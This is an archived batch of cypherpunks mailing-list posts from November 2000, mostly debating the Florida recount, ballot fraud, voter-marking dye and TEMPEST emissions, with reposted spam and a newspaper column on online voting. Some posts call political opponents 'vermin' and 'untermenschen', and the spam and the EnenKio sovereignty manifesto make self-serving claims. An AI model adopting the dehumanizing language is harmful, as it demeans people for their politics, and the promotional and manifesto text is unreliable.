surprised if many (any?) states have any sort of program to get > people to perferentialy live in certain counties. I suspect the other > counties might get upset. > > I suspect Florida is quite similar. But maybe to redraw the boundaries. That's a common problem in Britain. Every now and again some government (almost always Conservative, for reasons to do with gerrymandering I suspect) gets it into its head that it would be a Good Thing if counties were more or less the same size so tried to amalgamate smaller ones and split larger ones and "rationalize" boundaries. Also, I know that smaller cities in the USA often split themselves away from larger ones and I don't know that counties don't. I've been to Bellaire, Texas... There were bad cases of redrawing boundaries in the UK in the 1960s, 70s & 80s. Lancashire, which once upon a time had a population about the size of Denmark or Belgium lost Liverpool and Manchester and large chunks of the north-west coast. Totally new counties which no-one had ever heard of before, such as Cleveland and Humberside were invented. "County Boroughs" (i.e. a town or city which was its own county) were forcibly amalgamated into the counties surrounding them. My own home town, Brighton was forced to merge with East Sussex by the Conservatives. At about the same time we lost our police force to the Sussex police (for some reason the only thing the newspapers complained about with losing the white helmets they used to wear - all the other forces used blue or black) and our water supply (to enforced privatisation). Most (but not all) of this sort of thing has been changed back by the Labour government which is very slightly less centralizing than the Tories were Ken From k.brown at ccs.bbk.ac.uk Tue Nov 14 02:25:27 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Tue, 14 Nov 2000 10:25:27 +0000 Subject: CDR: Re: The Ant and the Grasshopper, Election Version References: Message-ID: <3A111317.FB0D14FB@ccs.bbk.ac.uk> Mac Norton wrote: > > And then the locusts descend. And they feed. Because the ants > and the grasshoppers never could get their shit together. 0/10 for entomology. Locusts *are* grasshoppers :-) Ken From registration at latimes.com Tue Nov 14 10:31:01 2000 From: registration at latimes.com (registration at latimes.com) Date: Tue, 14 Nov 2000 10:31:01 -0800 (PST) Subject: CDR: LA Times Registration Message-ID: <200011141831.KAA24909@latimes17-7.su-colo.bbnplanet.com> Hello Joe Cypherpunk. You have begun registration at the Los Angeles Times Web site. In order for us to approve your registration, you must connect immediately or at least within the next 24 hours to this web site: http://www.latimes.com/cgi-bin/latreg2?20440044 Note: You can either click the above web site link, cut and paste it into your web browser, or re-type the link. Replying to us will NOT validate you. If you have any problems, reply to this e-mail or visit the HELP section of our web site. If you did not attempt to register, we apologize for the intrusion. Los Angeles Times Web Site Staff From k.brown at ccs.bbk.ac.uk Tue Nov 14 02:40:41 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Tue, 14 Nov 2000 10:40:41 +0000 Subject: CDR: Re: A secure voting protocol References: <004201c04b6f$9c517110$0442a296@labsec.inf.ufsc.br> <3.0.5.32.20001114005422.009bc3a0@idiom.com> Message-ID: <3A1116A9.24E50A01@ccs.bbk.ac.uk> Bill Stewart wrote: > > At 06:42 PM 11/13/00 +0000, Ken Brown wrote: > >And us non-individualistic Brits are so non-paranoid that we still won't > >accept voting machines or mechanical counting. All done by crosses on > >the paper, counted by hand, with the candidates in the room watching the > >counters. > > That's nice and trustable. Neither George Bush nor Al Gore > has the time to watch 100,000,000 ballots counted, > though one could argue that we'd be better off if they couldn't > take office until they'd sat down together and done it, > or until one of them had conceded that the other was more patient :-) Neither George Bush nor Al Gore are actually standing for election in Boca Raton. But there will be a rag-bag of supervisors and commissioners and representatives and city and county and state officials of various sorts. And these people can appoint agents to stand in for them at the polls. > Even counting all the ballots in a large city has to be parallelized. > Of course, political parties are often good at that, > at least parties big enough to be successfully elected. Exactly. > The difficult problems are making sure that the ballot box wasn't stuffed, Reasonably easy as long as it is in the open and sealed at all times. People go in and out of the polling station all the time. And there will be more than one official present. Again candidates and their agents (local councillors, people like that) can (in this country) be present at polling stations & they see people going in and out and can talk to the officials (I've often done this - it can be very boring). That makes it risky to do the stuffing. Where stuffing is easy is where the local political establishment is entirely controlled by one party or faction. If the officials at the polling stations & the police & the people doing th ecoutn are all on the same side then a lot of the openness is lost of course. But the chances are that those will be just the sort of places where votes won't be close. > and that the people who voted all existed and were unique, That's the hard part. Do you have to give id to vote? Here we don't, so impersonation is possible. Rare I think (doing it enough times to influence a nationwide, or even a city or county -wide election would be risky) although it is rumoured to be traditional in parts of Northern Ireland - from where it was rumoured to have been exported to parts of north America :-) I have to confesss that I am fascinated with the mechanisms of elections - well, I suppose some people are train spotters. Ken From ptrei at rsasecurity.com Tue Nov 14 07:43:46 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Tue, 14 Nov 2000 10:43:46 -0500 Subject: CDR: Re: A secure voting protocol Message-ID: > From: Ken Brown[SMTP:k.brown at ccs.bbk.ac.uk] > > Bill Stewart wrote: > > and that the people who voted all existed and were unique, > > That's the hard part. Do you have to give id to vote? Here we don't, so > impersonation is possible. Rare I think (doing it enough times to > influence a nationwide, or even a city or county -wide election would be > risky) although it is rumoured to be traditional in parts of Northern > Ireland - from where it was rumoured to have been exported to parts of > north America :-) > One solution I've seen used in 3rd world countries is to require people who have just voted to dip a forefinger into a cup of intense, penetrating dye, which they are very unlikely to be able to remove in one day. I can state from personal experience that Silver Nitrate solution will produce stains on skin which gradually blacken in the light, and don't come off till your skin wears off. Mixing the dye with a transport agent such as DMSO would also work. Peter Trei From tcmay at got.net Tue Nov 14 10:50:24 2000 From: tcmay at got.net (Tim May) Date: Tue, 14 Nov 2000 10:50:24 -0800 Subject: CDR: Re: the ballot In-Reply-To: <3A11824D.CB8012DE@ricardo.de> References: <3A11824D.CB8012DE@ricardo.de> Message-ID: At 7:19 PM +0100 11/14/00, Tom Vogt wrote: >text in german, but I guess everyone will get the point... > >finally, we have a copy of the *real* official ballot... > > >http://www.autsch.de/sdw_111300.html > We've been seeing this joke every day since late last week. And, though it's undeniably funny, it grossly misrepresents the ballot issue. In fact, the "butterfly ballot" issue has been put on the back burner by the Democrat vermin. They are putting their efforts into re-sampling and re-counting and fiddling with the ballots in Volusia County, Broward County, Dade County, and Palm Beach County. The Democrat untermenchen are even trying to overrule the local canvassing boards which have said they "see no point" in a manual recount. (Broward County, for example, a heavily Democrat-infested county, only turned up 4 "found" votes for Gore in a laborious manual fiddling-with of the paper ballots. Hence the canvassing board voted to not expend more time and money fiddling with the entire county's ballots. The Democrat Gorehoppers are going to court to force them to.) The whole charade is delicious to watch. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From sunder at sunder.net Tue Nov 14 08:02:49 2000 From: sunder at sunder.net (sunder) Date: Tue, 14 Nov 2000 11:02:49 -0500 Subject: CDR: voting tech & radio buttons References: <3.0.6.32.20001110223236.0081de20@pop.sprynet.com> Message-ID: <3A116229.27F2B8D5@sunder.net> David Honig wrote: > > Some dude of Shoup Corp which makes voting machines, or used > to 21 years ago (there are no parts available), demonstrated > that you can lock out choices after you've pulled one lever. > Which would eliminate certain bozos double-punching their > political-hollerith cards. A-yup. The ugly ancient behemoth I used to cast my vote is one of these. That's the first thing I tried for fun. :) It doesn't allow you to pick more than one candidate for the same office. -- ----------------------Kaos-Keraunos-Kybernetos--------------------------- + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\ \|/ :aren't security. A |share them, you don't hang them on your/\|/\ <--*-->:camera won't stop a |monitor, or under your keyboard, you \/|\/ /|\ :masked killer, but |don't email them, or put them on a web \|/ + v + :will violate privacy|site, and you must change them very often. --------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------ From tom at ricardo.de Tue Nov 14 02:10:40 2000 From: tom at ricardo.de (Tom Vogt) Date: Tue, 14 Nov 2000 11:10:40 +0100 Subject: CDR: Re: BSA deploys imaginary pirate software detector vans References: Message-ID: <3A110FA0.BD2D107B@ricardo.de> Tib wrote: > > Hope I'm not being totally naive about the capability of computer hardware, but > I sure don't recall my PC (or any that I have ever had or can think of > seeing) having short range broadcasting capabilities. How would this be > theorheticly possible (despite the utter nonsense that the rumor must be) to > accomplish, if at all? tempest. your monitor *is* a short range broadcasting device. From jya at pipeline.com Tue Nov 14 08:13:13 2000 From: jya at pipeline.com (John Young) Date: Tue, 14 Nov 2000 11:13:13 -0500 Subject: CDR: CIA Website Update Message-ID: <200011141619.LAA13085@maynard.mail.mindspring.net> Nothing on the site about 16,000 newly released secret docs on CIA murder-meddling in Chile. http://www.odci.gov/cia/update_service.html Date: Tue, 14 Nov 2000 10:30:02 -0500 (EST) : From: CIA Web Site Update Subject: DCI/CIA Web Site Update E-mail Service Addition : Apparently-To: Welcome to the Director of Central Intelligence and the Central Intelligence Agency's Web Site Update Service. You are subscribed to the list as jya at pipeline.com. As a participant in this program, we will notify you by e-mail whenever we add new documents to our Web Site. A reminder: We will not share your e-mail address with any third party except as stated in our Security notice at http://www.cia.gov/cia/notices.html#sec. Read our full Privacy notice at http://www.cia.gov/cia/notices.html#priv and the Web Site Update Service Privacy notice specific to this service at http://www.cia.gov/cia/notices.html#update. From honig at sprynet.com Tue Nov 14 08:14:18 2000 From: honig at sprynet.com (David Honig) Date: Tue, 14 Nov 2000 11:14:18 -0500 Subject: CDR: Re: A secure voting protocol In-Reply-To: <20001113175319.A24189@cluebot.com> References: Message-ID: <3.0.6.32.20001114081147.0082b550@pop.sprynet.com> At 05:31 PM 11/13/00 -0500, Declan McCullagh wrote: >Righto. Absentee ballots require a witness, usually an officer (if >you're in the military) or a notary-type, to reduct in par tthe >intimidation problem. No, an absentee ballot requires a signature that matches the one you gave the election board and a stamp. In CA at least. No notaries involved. From tom at ricardo.de Tue Nov 14 02:43:16 2000 From: tom at ricardo.de (Tom Vogt) Date: Tue, 14 Nov 2000 11:43:16 +0100 Subject: CDR: Re: The Ant and the Grasshopper, Election Version References: <004201c04b6f$9c517110$0442a296@labsec.inf.ufsc.br> <3A10360A.6C87DE38@ccs.bbk.ac.uk> <20001113175319.A24189@cluebot.com> <022f01c04df2$6104c1e0$0100a8c0@nandts> Message-ID: <3A111744.EB77649F@ricardo.de> Tim May wrote: > Apparently complex problems often have simple solutions, something I > once learned from John McCarthy. if you simplify them enough. for example, I know a couple of people who believe in "racial harmony" but not in "the joys of lesbian sex". and I'll be damned if there aren't lots of lesbians around that are firm capitalists. From registration at latimes.com Tue Nov 14 11:43:20 2000 From: registration at latimes.com (registration at latimes.com) Date: Tue, 14 Nov 2000 11:43:20 -0800 (PST) Subject: CDR: LA Times Registration Message-ID: <200011141943.LAA28177@latimes17-7.su-colo.bbnplanet.com> Welcome! You are now successfully registered at the Los Angeles Times Web site. Save this e-mail. It contains your user name and helpful tips on services for registered users. Your user name: cypherpunks101 If you ever lose your password, visit this web page: http://www.latimes.com/siteservices/loginhelp.htm Now that you're registered, you can immediately try the archives, Hunter, the crosswords and our bulletin boards. HUNTER * Set up a custom newspaper for FREE at http://www.latimes.com/cgi-bin/hunter.cgi ARCHIVES * If you want to retrieve a story from our archives which go back to 1990, you may do so now at http://www.latimes.com/archives/ CROSSWORDS * To access the last 7 days of L.A. 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Please use only bold or colored fonts to emphasize your points. Thank you for joining us, and we look forward to having you visit. From tom at ricardo.de Tue Nov 14 02:46:38 2000 From: tom at ricardo.de (Tom Vogt) Date: Tue, 14 Nov 2000 11:46:38 +0100 Subject: CDR: Re: A secure voting protocol References: <004201c04b6f$9c517110$0442a296@labsec.inf.ufsc.br> <3.0.5.32.20001114005422.009bc3a0@idiom.com> Message-ID: <3A11180E.CC6FE254@ricardo.de> Bill Stewart wrote: > That's nice and trustable. Neither George Bush nor Al Gore > has the time to watch 100,000,000 ballots counted, > though one could argue that we'd be better off if they couldn't > take office until they'd sat down together and done it, > or until one of them had conceded that the other was more patient :-) come on - he's not referring to the president candidates. for your crazy double-indirect voting system, these would be the "electorates" or whatever they're officially called. > The difficult problems are making sure that the ballot box wasn't stuffed, > and that the people who voted all existed and were unique, > and that their votes weren't obtained through bribery (though deception is > fine :-) > Here in the US, it's traditional that ballot boxes (where they're used) > are sealed at the polling place and ostensibly only opened with witnesses, > but fraud is nonetheless possible and perhaps still practiced on a small > scale. but it is lots easier to detect fraud if you have a physical bill than detecting fraud on some electronic "push this button to vote" machine. or whatever other crazy stuff you're using. I heard you had more than a dozen completely different voting systems, from hole-pushing to touchscreens. From honig at sprynet.com Tue Nov 14 08:50:10 2000 From: honig at sprynet.com (David Honig) Date: Tue, 14 Nov 2000 11:50:10 -0500 Subject: CDR: Re: BSA deploys imaginary pirate software detector vans In-Reply-To: <014d01c04dd7$ed3bcac0$0100a8c0@nandts> References: Message-ID: <3.0.6.32.20001114083708.0082ade0@pop.sprynet.com> At 08:13 PM 11/13/00 -0500, Neil Johnson wrote: >The general idea is to pick up and decode the RF emissions generated by the >CPU, Memory, I/O and Video systems to figure out what the computer is doing. > >It takes some work (not as much as you would think), but there have been >documented demonstrations where the video signals from a PC were picked up >and reproduced on another monitor several hundred feet away. Get an AM radio. Write a program to paint and clear the CRT at two different, rates and alternate between them. Now locate the alternating tones on your radio. From tcmay at got.net Tue Nov 14 11:50:39 2000 From: tcmay at got.net (Tim May) Date: Tue, 14 Nov 2000 11:50:39 -0800 Subject: CDR: Re: the ballot In-Reply-To: References: <3A11824D.CB8012DE@ricardo.de> Message-ID: At 10:50 AM -0800 11/14/00, Tim May wrote: > >The Democrat untermenchen are even trying to overrule the local >canvassing boards which have said they "see no point" in a manual >recount. Ja, I know the correct spelling is "untermenschen." After naming my Siamese cat "Nietzsche," I finally learned not to make any spelling errors in that oft-misspelled name. I even usually pronounce the name as it should be pronounced, not the usual American form. (Though one source says the name was originally Polish and so the "nee-chee" variant is almost acceptable.) --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From freematt at coil.com Tue Nov 14 09:32:21 2000 From: freematt at coil.com (Matthew Gaylor) Date: Tue, 14 Nov 2000 12:32:21 -0500 Subject: CDR: Re: A secure voting protocol In-Reply-To: References: Message-ID: Tim May wrote: >I would not trust such a system, or be willing to take night school >classes in crypto and higher math in order to begin to understand >the system...so imagine what other folks will think. > >It won't happen in our lifetimes. It may happen in European nations, >but only because the average citizen does what he is told to do more >so than American paranoids and individualists will do. Just as we're forced to obey gun, drug and tax laws, why do you think "paranoids and individualists" will be any more successful in stopping some government forced electronic voting system? I expect that such various types of such proposals will be adopted within the next few years. As Josef Stalin so aptly remarked- "Those who cast the votes decide nothing. Those who count the votes decide everything" Regards, Matt- ************************************************************************** Subscribe to Freematt's Alerts: Pro-Individual Rights Issues Send a blank message to: freematt at coil.com with the words subscribe FA on the subject line. List is private and moderated (7-30 messages per month) Matthew Gaylor,1933 E. Dublin-Granville Rd., PMB 176, Columbus, OH 43229 (614) 313-5722 Archived at http://www.egroups.com/list/fa/ ************************************************************************** From sunder at sunder.net Tue Nov 14 09:34:15 2000 From: sunder at sunder.net (sunder) Date: Tue, 14 Nov 2000 12:34:15 -0500 Subject: CDR: Re: A secure voting protocol References: Message-ID: <3A117797.74983EBB@sunder.net> "Trei, Peter" wrote: > One solution I've seen used in 3rd world countries is to require people > who have just voted to dip a forefinger into a cup of intense, penetrating > dye, which they are very unlikely to be able to remove in one day. Wouldn't some sort of wax spread on the hand prevent such a dye from working once peeled off? i.e. I'm thinking along the lines of liquid latex or crazy glue like substances... :) -- ----------------------Kaos-Keraunos-Kybernetos--------------------------- + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\ \|/ :aren't security. A |share them, you don't hang them on your/\|/\ <--*-->:camera won't stop a |monitor, or under your keyboard, you \/|\/ /|\ :masked killer, but |don't email them, or put them on a web \|/ + v + :will violate privacy|site, and you must change them very often. --------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------ From declan at well.com Tue Nov 14 09:36:32 2000 From: declan at well.com (Declan McCullagh) Date: Tue, 14 Nov 2000 12:36:32 -0500 Subject: CDR: Re: A secure voting protocol In-Reply-To: <3.0.6.32.20001114081147.0082b550@pop.sprynet.com>; from honig@sprynet.com on Tue, Nov 14, 2000 at 11:14:18AM -0500 References: <20001113175319.A24189@cluebot.com> <3.0.6.32.20001114081147.0082b550@pop.sprynet.com> Message-ID: <20001114125848.A4122@cluebot.com> David, see my other post citing Florida law, which is what I was talking about earlier in the thread. -Declan On Tue, Nov 14, 2000 at 11:14:18AM -0500, David Honig wrote: > At 05:31 PM 11/13/00 -0500, Declan McCullagh wrote: > >Righto. Absentee ballots require a witness, usually an officer (if > >you're in the military) or a notary-type, to reduct in par tthe > >intimidation problem. > > No, an absentee ballot requires a signature that matches the one > you gave the election board and a stamp. In CA at least. > > No notaries involved. > > > > > > > > > > > > > > > > From petro at bounty.org Tue Nov 14 13:00:02 2000 From: petro at bounty.org (petro) Date: Tue, 14 Nov 2000 13:00:02 -0800 Subject: CDR: Re: Close Elections and Causality In-Reply-To: References: <3A111201.CCF6E598@ccs.bbk.ac.uk> Message-ID: Mr. May: >At 10:20 AM +0000 11/14/00, Ken Brown wrote: >> >> >>But maybe to redraw the boundaries. That's a common problem in Britain. >>Every now and again some government (almost always Conservative, for >>reasons to do with gerrymandering I suspect) gets it into its head that >>it would be a Good Thing if counties were more or less the same size so >>tried to amalgamate smaller ones and split larger ones and "rationalize" >>boundaries. > >You _do_ know, I assume, that the very term "gerrymandering" came >from experiences in the U.S.? > >(Not to be confused with "jerrymathersing," which refers to the >false claim that a person died in a war.) The impression that I get is that in Merry Old England, voting is done by county, whereas in this country voting is done by district. For the benefit of those not familiar with the American system: States (obviously) and counties have fixed boundaries, while voting districts are redrawn every 10 or so years to attempt to keep the population of each district relatively equivalent in population. At least that's the theory. What really happens is that since those in Power draw the lines, they attempt to draw the boundaries such that they maintain or gain power. -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From dmolnar at hcs.harvard.edu Tue Nov 14 10:40:41 2000 From: dmolnar at hcs.harvard.edu (dmolnar) Date: Tue, 14 Nov 2000 13:40:41 -0500 Subject: CDR: Re: A secure voting protocol In-Reply-To: <3.0.6.32.20001114081147.0082b550@pop.sprynet.com> Message-ID: On Tue, 14 Nov 2000, David Honig wrote: > At 05:31 PM 11/13/00 -0500, Declan McCullagh wrote: > >Righto. Absentee ballots require a witness, usually an officer (if > >you're in the military) or a notary-type, to reduct in par tthe > >intimidation problem. > > No, an absentee ballot requires a signature that matches the one > you gave the election board and a stamp. In CA at least. > > No notaries involved. Nevada doesn't even require the stamp. -David From jesager at email.com Tue Nov 14 13:44:32 2000 From: jesager at email.com (Jim Sager) Date: Tue, 14 Nov 2000 13:44:32 Subject: CDR: I'm not after your money, only your trust Message-ID: <200011142145.NAA05954@cyberpass.net> Do you have a dream? Are you living it? If not do you want to? * Way to many people in this world have given up on their dream. They are frustrated with the results they are getting from their J.O.B. and are searching for SOMETHING to rekindle their spirit, and give their life meaning once again. Do you have a dream? Are you living it? If not would you like to? Do you constantly ask yourself these questions? 1. Why does it seem there is always too much month left at the end of the money? 2. Why do I have to live paycheck to paycheck? 3. Why is it such a struggle week after week just to survive? 4. What will I do if suddenly there is no more J.O.B.? 5. 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I hope that makes you wonder why, 'cause it shows that you have a brain as well. If you haven't guessed, I am excited!!! But you owe it to yourself to be just as excited, so don't pass on this. EMAIL ME BACK with MORE INFO in the Subject and I'll provide more detail on the opportunity of a lifetime. If you would like to be removed from my list Please reply and type REMOVE in the subject area. From enenkio at webtv.net Tue Nov 14 15:48:37 2000 From: enenkio at webtv.net (Robert Moore) Date: Tue, 14 Nov 2000 13:48:37 -1000 (HST) Subject: CDR: EnenKio currency is Gold Message-ID: <21556-3A11CF55-11777@storefull-612.iap.bryant.webtv.net> EnenKio currency is Gold         DO NOT BEG ! TAKE IT, IT'S YOUR RIGHT STOP dishonoring yourselves --- AMERCIA REMOVE IT OR PROVE IT ! www.enenkio.org -- A Nation The newest OFCs, e.g., Niue and the Marshall Islands, are now sprouting in remote areas of the world, such as the Pacific. Even more "remote" are mere figments of fertile imaginations such as the Dominion of Malchizedek (sic) or The Kingdom of Enenkio Atol (sic), both entirely fraudulent in intent and practice." [note: OFC = Offshore Financial Center] Response: This unprovoked attack upon His Majesty King Remios, Monarch of the Kingdom of EnenKio, the sovereign state of EnenKio and its noble citizenry by the U.S. Department of State is a reprehensible categorically false challenge of the sovereignty of the Kingdom of EnenKio. It is also unjustifiably inflammatory and amounts to an unqualified felonious defamation of the international reputation of His Majesty King Remios, the government of the Kingdom of EnenKio and organs thereof. The unmitigated audacity and arrogance of the United States to attempt to link the Kingdom of EnenKio with International Crime, narcotics trafficking, money laundering, tax evasion, international drug cartels, terrorists, bank fraud or any other sort of criminal activity, without even one microscopic fragment of substantive evidence to corroborate such deliberately nefarious statements is reprehensible in the least. This public posting shall serve as constructive notice to the United States Government that any attempt to interfere in the business of His Majesty King Remios, Iroijlaplap of the Northern Ratak atolls of the Marshall Islands, or any acts, decisions, mandates, announcements or directives thereby, shall be met with definitive responses equal to the degrees of contravention. Furthermore, this matter will not be resolved until the President of the United States issues a formal apology to His Majesty King Remios, along with the government of the Kingdom of EnenKio, and the Congress of the United States initiates a thorough investigation into the abuses of power, subversion of natural rights and illegal occupation by the United States of the islands and seas of Eneen-Kio Atoll. Congressional representatives to Hawaii, the nearest State of the United States to Eneen-Kio Atoll, and those of other states, have repeatedly been advised of the foregoing atrocities and conditions and have failed to respond in kind. The United States is obligated as the self-assured trustee of Pacific Island States in Micronesia to respond to the charges of "ethnic cleansing" and her responsibility to EnenKio is no less. For further information and links to documents, see: EnenKio Documents http://www.state.gov/www/global/narcotics_law/1998_narc_report/ml_intro.html http://www.state.gov/www/global/narcotics_law/1998_narc_report/index.html March 16, 1999: Facts = www.enenkio.org or 808 923-0476 fax/ph Robert Moore. Robert Moore, Minister Plenipotentiary, Kingdom of EnenKio Foreign Trade Mission DO-MO-CO Manager, Remios Hermios Eleemosynary Trust, Majuro, Marshall Islands http://www.enenkio.org From freematt at coil.com Tue Nov 14 10:59:23 2000 From: freematt at coil.com (Matthew Gaylor) Date: Tue, 14 Nov 2000 13:59:23 -0500 Subject: CDR: Gary Chapman On Online Voting, Even if Secure, Won't Solve Election Troubles Message-ID: DIGITAL NATION Online Voting, Even if Secure, Won't Solve Election Troubles By Gary Chapman Copyright 2000, The Los Angeles Times. All Rights Reserved The uproar over last week's election results, particularly the controversy over the vote in Florida, has fueled calls for online voting. Some experts think the problems of last week could be solved by computerized voting, while others insist that is fraught with insecurity. Controversy about how computers handle votes has been around for a while. It was an issue championed for years by longtime Los Angeles civil-liberties activist Mae Churchill, who died in 1996 at age 84. Churchill was the founder of Pacific Palisades-based Election Watch, and 15 years ago she convinced many technical experts that there are serious problems when computers are introduced into the voting process. "Mae Churchill got me into this issue," said Peter Neumann, a researcher at SRI International in Menlo Park, Calif., and an internationally known authority on computer security. Now, he said, "I would not trust a computerized voting system even if I had written itmyself, because of the many ways in which such systems can be subverted." "It's so easy to rig an election," Neumann said. He cited the fact that "punch card" ballots -- the cardboard ballots that use a punched hole to read a vote -- can be invalidated simply by running a needle through a stack of the cards. That can make it look like a vote for two candidates for the same office. Florida election officials threw out more than 19,000 ballots last week because of the appearance of voters selecting two candidates in the presidential election. In Boston in 1993, Neumann said, a local election's results were reversed after authorities discovered errors caused by "hanging chad," the tiny paper remnant of a punched hole that can hang off the back side of the card ballot and then reclose the hole when the ballot is run through a light scanner for tabulation. This problem reportedly caused some of the vote tallies to change in last week's recounts in Florida. Also in 1993 in Florida, a St. Petersburg precinct that had no registered voters because it was an industrial area showed 1,429 votes for an incumbent mayor, who won by 1,425 votes. Another Florida case happened in 1988, when there were 200,000 fewer votes in the Senate race than for the presidential candidates, and most of the missing votes came from four counties that used the same computer vote-tallying vendor. "If it was built by man, it can be broken by man," said Doug Lewis, director of the Election Center in Houston, an organization that does training and consulting for election officials nationwide. "People asking for [online voting] don't understand the electoral process and the incredible safety and security problems that go into that." "I do worry that computer elections systems are large and complex systems," said David Jefferson, the technical director of the California Internet Voting Task Force and a researcher at Compaq Systems Research Center in Palo Alto. "The main worry is not bugs in the software or in communications, but each time they are used they have to be configured rather elaborately. Ballot choices have to fit a voter's residence, which can often be a complicated task. If they are misconfigured they can produce erroneous results." The California secretary of state's task force on Internet voting recommended against remote online voting earlier this year. "We have to understand that the security problems for allowing that are so severe that we can't recommend that solution at all. These problems are inherent in the architecture of the personal computer," Jefferson said. Instead, some online voting proponents are supporting an interim solution: polling-place computer voting. "That kind of Internet voting can be fielded now, and the security problems are manageable," Jefferson noted. Polling-place electronic voting involves using a networked computer to vote at a conventional polling site. This method has the added security of controlling the machines and identifying each voter in person. Some argued last week that polling-place electronic voting would have solved some of the problems Florida encountered. "Spoiling a ballot would be prevented by computer," Jefferson said. The computer program could prevent a confused or deliberate vote for two candidates in the same race. Another benefit might be that counties could report real-time vote counts, which could help prevent television networks or Web sites from inaccurately guessing at how a state's electoral college vote might turn out. Vote totals also could be reported instantly after the polls closed. But Jefferson said the alleged confusion last week in Palm Beach County, Fla., where some people claim to have voted for Pat Buchanan when they meant to vote for Al Gore, still could be a problem in electronic voting, Jefferson said. "Someone with a good design sense has to be in charge of the design of a screen, just like a paper ballot," he said. Even so, the obstacles to adopting polling-place electronic voting are daunting. Aside from the expense of providing every polling place with multiple computer systems, there are still significant security issues and a dearth of trained personnel in our election system. "Most of us who have been in elections a long time are uncomfortable with the idea of turning over elections to a private, for-profit company," said Lewis of the Election Center. Although private companies do run election systems, they are supervised by public officials, usually at the county level. Few counties in the U.S. can afford to pay for technical experts who can evaluate and monitor sophisticated networked computer systems with multiple redundancies, encryption, complex backup and security measures, and state-of-the-art equipment. Moreover, Lewis said, fraud in U.S. elections is low because the systems we use are so decentralized and cumbersome. Centralized and computerized data would be a tempting target for hackers, subversives and perhaps foreign governments, he said. "Even companies with tens of millions of dollars for protecting their systems are penetrated," Lewis said. "How many counties have that kind of money?" "Electronic voting is not going to solve our problems," Neumann said. Lewis added: "Everyone wants instant Internet gratification. We've been conditioned to expect this now. The truth is we're not going to have instantaneous Internet voting. We're not going to be doing this in 'Internet time.' " Gary Chapman is director of the 21st Century Project at the University of Texas at Austin. He can be reached at gary.chapman at mail.utexas.edu. ------------------------------------------ To subscribe to a listserv that forwards copies of Gary Chapman's published articles, including his column "Digital Nation" in The Los Angeles Times, send mail to: listproc at lists.cc.utexas.edu Leave the subject line blank. In the first line of the message, put: Subscribe Chapman [First name] [Last name] Leave out the brackets, just put your name after Chapman. Send this message. You'll get a confirmation message back confirming your subscription. This message will contain some boilerplate text, generated by the listserv software, about passwords, which you should IGNORE. Passwords will not be used or required for this listserv. Mail volume on this listserv is low; expect to get something two or three times a month. The list will be used only for forwarding published versions of Gary Chapman's articles, or else pointers to URLs for online versions of his articles -- nothing else will be sent to the list. To unsubscribe from the listserv, follow the same instructions above, except substitute the word "Unsubscribe" for "Subscribe." Please feel free to pass along copies of the forwarded articles, but please retain the relevant copyright information. Also feel free to pass along these instructions for subscribing to the listserv, to anyone who might be interested in such material. Questions should be directed to Gary Chapman at gary.chapman at mail.utexas.edu. ************************************************************************** Subscribe to Freematt's Alerts: Pro-Individual Rights Issues Send a blank message to: freematt at coil.com with the words subscribe FA on the subject line. List is private and moderated (7-30 messages per month) Matthew Gaylor,1933 E. Dublin-Granville Rd., PMB 176, Columbus, OH 43229 (614) 313-5722 Archived at http://www.egroups.com/list/fa/ ************************************************************************** From ptrei at rsasecurity.com Tue Nov 14 11:44:37 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Tue, 14 Nov 2000 14:44:37 -0500 Subject: CDR: Re: A secure voting protocol Message-ID: > From: Anonymous[SMTP:nobody at remailer.privacy.at] > Peter Trei wrote: > > > I can state from personal experience that Silver Nitrate solution will > > produce stains on skin which gradually blacken in the light, and > > don't come off till your skin wears off. > > But what happens when it is applied to Lakeesha Aswamba's finger? Would > the staining be visible? > I'll ignore the possibility that there is a racist implication behind this.... Who said it had to be black, or be Silver Nitrate? The example I saw used a purple dye. If you actually knew any blacks (I'm using that word instead of the currently PC 'African-American' because it's skin color that's under discussion, and the discussion applies to people outside the US as well), you'd know that the palmar side of the hand and fingers are much lighter than the back. Also, if you want to get high tech, use a fluorescent dye mixed with DMSO. It'll penetrate deep into the skin, and be visible under UV (no cosmetic objections). I suspect it'd take weeks to wear off. Sometimes crypto is not the best solution. The various 'Internet voting at home' schemes bug the hell out of me. Peter From fx.bodin at winealley.com Tue Nov 14 05:53:00 2000 From: fx.bodin at winealley.com (fx.bodin at winealley.com) Date: Tue, 14 Nov 2000 14:53 +0100 Subject: CDR: Meet us on Wine Alley Message-ID: <200011141353.FAA05434@toad.com> Hello! I found your address while surfing the Net for sites that have wine, good food and gracious living and I thought that you will be interested by the services that our site offers. www.wine-alley.com is a virtual Club for all those interested in wine in both a professional and personal capacity. On the site you can talk to others about wine, buy and sell and have access to the best professional sources. Already we have more than 3500 members! By the end of the year we confidently expect this to swell to 10,000. Club members use the Newsgroup of www.wine-alley.com to exchange information and experiences. Only the other day someone asked how much a certain rare wine was worth, I asked for more information about the grape variety, which doesn't grow in France. Currently there have been more than 673 questions and replies. There is also the small ads. column. Among the 7 adverts placed this week there have been some really good deals including a magnum of 1945 Pichon Lalande and a 1947 Cheval blanc! Let me make it clear - www.wine-alley.com itself does not sell or buy wine: we simply offer our members the facilites for making their own arrangements. www.wine-alley.com is also a site supplying information in real time, particularly the latest news from winegrowers and makers via the French Press Agency (AFP). We also have a database of more than 21,000 wines with information supplied directly to the site by winegrowers co-operatives and specialist magazines. I should be delighted if you would come and join us. At www.wine-alley.com you will find similarly-minded people who just want to share their love of wine. Kind regards François Xavier Bodin, Manager of the Online Club fx.bodin at winealley.com PS. Registering with the www.wine-alley.com club is absolutely free and commits you to nothing. If you are not interested in my offer, please excuse this letter; I am sorry to have bothered you. To prevent further unwanted intrusions please click on the following link, your email will be automatically removed from our list. http://www.wine-alley.com/wines/desmail.asp?id=174258&l=uk From believer at telepath.com Tue Nov 14 13:13:14 2000 From: believer at telepath.com (believer at telepath.com) Date: Tue, 14 Nov 